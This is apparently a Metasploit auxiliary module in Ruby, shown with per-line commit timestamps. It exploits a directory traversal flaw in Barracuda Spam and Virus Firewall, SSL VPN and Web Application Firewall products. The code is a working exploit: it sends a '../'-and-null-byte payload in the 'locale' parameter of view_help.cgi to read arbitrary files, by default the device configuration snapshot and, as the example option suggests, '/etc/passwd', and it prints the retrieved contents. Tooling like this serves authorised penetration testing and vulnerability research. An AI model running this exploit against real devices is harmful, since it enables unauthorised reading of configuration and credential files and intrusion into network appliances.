2010-10-10 01:42:26 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-10-10 01:42:26 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerability present in
|
|
|
|
serveral Barracuda products, including the Barracuda Spam and Virus Firewall,
|
|
|
|
Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
|
|
|
|
this module will attempt to download the Barracuda configuration file.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['OSVDB', '68301'],
|
|
|
|
['URL', 'http://secunia.com/advisories/41609/'],
|
|
|
|
['EDB', '15130']
|
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 08 2010',
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8000),
|
|
|
|
OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
|
2015-11-25 17:18:17 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
|
2013-08-30 21:28:54 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
2015-11-25 17:18:17 +00:00
|
|
|
uri = normalize_uri(target_uri.path)
|
2013-08-30 21:28:54 +00:00
|
|
|
file = datastore['FILE']
|
|
|
|
payload = "?locale=/../../../../../../..#{file}%00"
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2015-11-25 17:18:17 +00:00
|
|
|
print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => uri + payload,
|
|
|
|
}, 25)
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res.nil?
|
2015-11-25 17:18:17 +00:00
|
|
|
print_error("#{full_uri} - Connection timed out")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
2013-08-21 05:47:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (res.code == 200 and res.body)
|
|
|
|
if res.body.match(/\<html\>(.*)\<\/html\>/im)
|
|
|
|
html = $1
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res.body =~ /barracuda\.css/
|
|
|
|
if html.length > 100
|
|
|
|
file_data = html.gsub(%r{</?[^>]+?>}, '')
|
2010-10-19 21:55:19 +00:00
|
|
|
|
2015-11-25 17:18:17 +00:00
|
|
|
print_good("#{full_uri} - Barracuda - Vulnerable")
|
|
|
|
print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2015-11-25 17:18:17 +00:00
|
|
|
print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
elsif res.body =~ /help_page/
|
2015-11-25 17:18:17 +00:00
|
|
|
print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2015-11-25 17:18:17 +00:00
|
|
|
print_error("#{full_uri} - Barracuda - File not found or permission denied")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
else
|
2015-11-25 17:18:17 +00:00
|
|
|
print_error("#{full_uri} - Barracuda - No HTML was returned")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
else
|
2015-11-25 17:18:17 +00:00
|
|
|
print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
2010-10-10 01:42:26 +00:00
|
|
|
|
|
|
|
end
|